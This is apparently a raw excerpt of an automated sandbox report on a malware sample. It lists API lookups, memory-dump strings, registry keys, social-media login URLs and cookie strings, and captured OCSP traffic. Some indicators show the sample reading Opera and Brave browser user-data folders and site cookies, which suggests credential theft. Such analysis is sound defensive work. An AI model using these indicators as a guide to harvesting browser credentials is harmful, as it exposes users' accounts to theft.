CPHashData (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpQueryLeaseInfo (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00003052)3f:Td47,"Select Your Wireless NetworkySelect the network name (SSID) of your wireless network from the list. Network names may take up to 60 seconds to appear." (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "select your wireless networkyselect the network name (ssid) of your wireless network from the list. network names may take up to 60 seconds to appear."), "Select Your Connection}Select your connection from the list. The connection must have a saved user name and password and be available to all users." (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "select your connection}select your connection from the list. the connection must have a saved user name and password and be available to all users."), "Select Your Set-top Box Brand}Select the brand of your set-top box from the list. If your brand is not listed select Not Listed at the bottom of the list." (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "select your set-top box brand}select the brand of your set-top box from the list. if your brand is not listed select not listed at the bottom of the list."), "Select the appropriate display resolution from the list below. For best results use the resolution recommended by the manufacturer in the display hardware documentation." (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "select the appropriate display resolution from the list below. for best results use the resolution recommended by the manufacturer in the display hardware documentation."), "insert it into the digital tuner and select Scan Again." (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "insert it into the digital tuner and select scan again."), "Select Add Channel to enter the name and channel number for a standard TV channel that is missing from the Guide. To add a digital TV channel select Add DTV Channel." (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "select add channel to enter the name and channel number for a standard tv channel that is missing from the guide. to add a digital tv channel select add dtv channel."), "Select OK for more information.ZYour Guide listings include one or more channels that share programming from two networks." (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "select ok for more information.zyour guide listings include one or more channels that share programming from two networks."), "Select a folder for backing up or restoring your media usage rights.ORequesting approval to restore media usage rights. This may take a few minutes.&Transferring media usage rights to %s.(Transferring media usage rights from %s." (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "select a folder for backing up or restoring your media usage rights.orequesting approval to restore media usage rights. this may take a few minutes.&transferring media usage rights to %s.(transferring media usage rights from %s.") "Delete from &library only$Delete from library and my &computer=Are you sure you want to delete these items from your device?" (Source: 00000000-00003332.00000001.68213.02B80000.00000002.mdmp, Indicator: "delete from &library only$delete from library and my &computer=are you sure you want to delete these items from your device?")40:T1502,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; File: "00004008.00000FA8.6322916.00050000.wprm") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp, 00000000-00000452.00000000.68550.00710000.00000004.mdmp, 00000000-00000452.00000000.68560.004D0000.00000004.mdmp, 00000000-00000452.00000000.68560.00AD0000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPM" (Indicator: "CreateProcess"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00000452.00000000.68550.00710000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00002296.00000000.69086.002C0000.00000004.mdmp, 00000000-00002296.00000001.70024.002C0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002296.00000000.69086.002C0000.00000004.mdmp, 00000000-00002296.00000000.69086.002E0000.00000004.mdmp, 00000000-00002296.00000000.69086.00360000.00000004.mdmp, 00000000-00002296.00000000.69086.00580000.00000004.mdmp, 00000000-00002296.00000001.70024.002C0000.00000004.mdmp, 00000000-00002296.00000001.70024.002E0000.00000004.mdmp, 00000000-00002296.00000001.70024.00360000.00000004.mdmp, 00000000-00002296.00000001.70024.00580000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00002296.00000000.69086.00360000.00000004.mdmp, 00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPM" (Indicator: "CreateProcess"; Source: "00000000-00002296.00000000.69086.00360000.00000004.mdmp, 00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found reference to API "MPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00002500.00000001.72275.00180000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002500.00000001.72275.00180000.00000004.mdmp, 00000000-00002500.00000001.72275.00330000.00000004.mdmp, 00000000-00002500.00000001.72275.004C0000.00000004.mdmp, 00000000-00002500.00000001.72275.00520000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPM" (Indicator: "CreateProcess"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found reference to API "MPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003332.00000000.67120.000F0000.00000004.mdmp, 00000000-00003332.00000000.67120.00320000.00000004.mdmp, 00000000-00003332.00000000.67120.003A0000.00000004.mdmp, 00000000-00003332.00000000.67120.009E0000.00000004.mdmp, 00000000-00003332.00000001.68213.000F0000.00000004.mdmp, 00000000-00003332.00000001.68213.00320000.00000004.mdmp, 00000000-00003332.00000001.68213.003A0000.00000004.mdmp, 00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003332.00000000.67120.009E0000.00000004.mdmp, 00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found reference to API "_COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003332.00000000.67120.009E0000.00000004.mdmp, 00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "CreateProcessAsUserW" (Indicator: "CreateProcess"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")41:T42c,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "IcmpCreateFile" (Indicator: "CreateFile"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")42:T51b,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "37558975841,1020,3135,,LoadResource,kernel32.dll,"252:03:19.468",RX=0,PX=0" (Indicator: "LoadResource"; Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp")43:T5ac,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")44:T406,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")45:T4c2,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")46:T5f5,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")47:T719,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 0c12cd0538bea9f88b40d52cf438f139.exe "DSystem\CurrentControlSet\Control\Session Manager" in Source: 0c12cd0538bea9f88b40d52cf438f139.exe "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 0c12cd0538bea9f88b40d52cf438f139.exe "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: 0c12cd0538bea9f88b40d52cf438f139.exe "System\CurrentControlSet\Control\Session Manager" in Source: 35352-17-0040256D "%APPDATA%\Opera Software\*" in Source: 00000000-00003964-00000C28-201821032489 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00003964-00000C28-202193147694 "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00000452.00000000.68550.00360000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002296.00000001.70024.00360000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002500.00000001.72275.00330000.00000004.mdmp "Software\AutoIt v3\AutoIt" in Source: 00000000-00003332.00000001.68213.0021C000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00003332.00000001.68213.0021C000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: 00000000-00003332.00000001.68213.0021C000.00000002.mdmp "Software\Policies\Microsoft\Internet Explorer\TabbedBrowsing" in Source: 00000000-00003332.00000001.68213.009E0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003332.00000001.68213.009E0000.00000004.mdmp48:Taee,"10IO12so.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "10IO12so.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "10IO12so.exe" failed to load missing module "api-ms-win-core-sysinfo-l1-2-1" - [base:0; Status:c0000135] "11GY8714.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "11GY8714.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "11GY8714.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll" - [base:0; Status:c0000135] "13Ef605.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "13Ef605.exe" failed to load missing module "Netapi32" - [base:692444b4; Status:c0000135]49:T417,"0c12cd0538bea9f88b40d52cf438f139.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "bJ1qg86.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Ac8sp85.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "13Ef605.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "12hz690.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "11GY8714.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT4a:Td79,Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found string "https://twitter.com/i/flow/login" (Indicator: "twitter"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") file/memory contains long string with (Indicator: "twitter"; File: "9WUFA29Q.txt") file/memory contains long string with (Indicator: "twitter"; File: "OX750VFZ.txt") Found string "CheckConnectionTempCookie46773644accounts.youtube.com/accounts/21474847524526764803106937035677866831069370CheckConnectionTempCookie411924900accounts.youtube.com/accounts/21474847525226764803106937042696616831069370" (Indicator: "youtube"; File: "2A4J5JDS.txt") Found string "guest_id_marketingv1%3A169971534033643723twitter.com/102540499645443121621197265711831069367guest_id_adsv1%3A169971534033643723twitter.com/102540499645443121621198531336831069367" (Indicator: "twitter"; File: "ZH38MWEQ.txt") Found string "CheckConnectionTempCookie46773644accounts.youtube.com/accounts/21474847524526764803106937035677866831069370" (Indicator: "youtube"; File: "9UQODDS9.txt") Found string "guest_id_marketingv1%3A169971534033643723twitter.com/102540499645443121621197265711831069367" (Indicator: "twitter"; File: "LTS7S3EP.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "WG80DJR4.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "twitter.com" (Indicator: "twitter"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: twitter.comDNT: 1Connection: Keep-Alive" (Indicator: "twitter"; File: "SSL") file/memory contains long string with (Indicator: "twitter"; File: "SSL") file/memory contains long string with (Indicator: "youtube"; File: "SSL") file/memory contains long string with (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "},s.version='1.1',s.queue=[],u=t.createElement(n),u.async=!0,u.src='https://static.ads-twitter.com/uwt.js'," (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string ".r-37j5jr{font-family:"TwitterChirp",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;}" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "

" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "

Weve detected that JavaScript is disabled in this browser. Please enable JavaScript or switch to a supported browser to continue using twitter.com. You can see a list of supported browsers in our Help Center.

" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "

Help Center

" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin")4b:T3756,"GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 14:26:35 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2505 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3709 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:20 GMT Last-Modified: Sat 11 Nov 2023 14:06:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3711 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:22 GMT Last-Modified: Sat 11 Nov 2023 14:06:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT 